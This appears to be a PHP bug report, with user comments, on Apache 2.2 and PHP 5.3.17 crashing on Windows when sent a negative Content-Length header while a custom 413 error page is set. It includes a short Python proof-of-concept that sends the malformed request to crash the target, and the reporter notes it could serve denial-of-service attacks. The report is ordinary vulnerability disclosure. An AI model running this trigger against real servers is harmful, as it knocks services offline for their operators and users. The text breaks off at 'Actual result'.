Summary: Apache 2.2 crashes when PHP called with negative
Content-Length HTTP header
Status: Open
Type: Bug
Package: Reproducible crash
Operating System: Windows Server 2003
PHP Version: 5.3.17

New Comment:
I had this in 5.4.4 on my production servers but not on an identical test
server,
which runs on a local domain but uses the same (version) php, apache and
modules.
The test server always returns a normal 200 page on the test server though,
don't
ask me why.
Removing the custom ErrorDocument indeed solves the problem.

Re-opening this bug as it still exists in the 5.3 stream.

I have not tested this issue under version 5.4 as my environment is setup for
5.3.17 - Are you able to recreate in 5.3.17 ?
It always crashes no matter what I have in index.php - in fact I can call any
page and cause the crash to happen.

I can not reproduce this with 5.4, and from the backtrace, it seems crash in
another place.
so, is it related with your index.php? does it always crash no matter what the
index.php is?

Description:
------------
Apache 2.2 with PHP 5.3.17 on Windows Server 2003 can be made to repeatably
crash
by doing the following:
(1) Configure your Apache server to use a custom error handling page for the
HTTP
413 error (Request entity too large) by inserting this line into your
httpd.conf:
ErrorDocument 413 /error/
(2) Run the Python test script detailed below to send an HTTP GET request to
the
server with a negative integer for the HTTP "Content-Length" header and with
the
"Accept-Encoding" header set to "gzip, deflate"
When this is run, Apache crashes with the following error:
[Tue Oct 02 13:46:16 2012] [error] [client 10.211.55.3] Invalid Content-Length
[Tue Oct 02 13:46:22 2012] [notice] Parent: child process exited with status
3221225477 -- Restarting.
This issue is a particular problem in the wild where many modern browsers
aren't
capable of handling file uploads over 2GB in size - instead of posting an
accurate filesize for the Content-Length header they use a negative integer
instead, causing the Apache server running PHP to crash. For further
information
on this see http://www.motobit.com/help/scptutl/pa98.htm
The script could be used to perform DOS attacks on vulnerable systems.
Test script:
---------------
#!/usr/bin/python
import socket, sys
target = "10.211.55.3"
port = 80;
request = "GET / HTTP/1.1\n"
request += "Host: "+target+"\n"
request += "Accept-Encoding: gzip, deflate\n"
request += "Content-Length: -1\n\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((target, port))
except:
print "[-] Connection to %s:%s failed!" % (target, port)
sys.exit(0)
print "[+] Sending HTTP request. Check for crash on target."
s.send(request)
s.close()
Expected result:
----------------
Stable Apache, no crash.
Actual result:
